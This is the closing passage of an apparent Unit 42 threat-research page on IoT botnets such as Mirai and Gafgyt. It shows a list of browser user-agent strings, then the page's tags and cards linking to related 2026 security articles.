(Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285 | | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0) | | Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2 | | Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 | | Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201 | | Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4 | | Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko) | | Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1 | | Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 | Back to top ### Tags * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet") * [DDoS](https://unit42.paloaltonetworks.com/tag/ddos/ "DDoS") * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/ "exploits") * [Gafgyt](https://unit42.paloaltonetworks.com/tag/gafgyt/ "Gafgyt") * [Hakai](https://unit42.paloaltonetworks.com/tag/hakai/ "Hakai") * [IoT](https://unit42.paloaltonetworks.com/tag/iot/ "IoT") * [Linux](https://unit42.paloaltonetworks.com/tag/linux/ "Linux") * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/ "Mirai") * [Okane](https://unit42.paloaltonetworks.com/tag/okane/ "Okane") * [Omni](https://unit42.paloaltonetworks.com/tag/omni/ "Omni") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Malware Team Up: Malspam Pushing Emotet + Trickbot](https://unit42.paloaltonetworks.com/unit42-malware-team-malspam-pushing-emotet-trickbot/ "Malware Team Up: Malspam Pushing Emotet + Trickbot") ### Related Articles * [The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "article - table of contents") * [Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "article - table of contents") * [Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "article - table of contents") ## Related Malware Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/) * [API](https://unit42.paloaltonetworks.com/tag/api/ "API") * [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE") ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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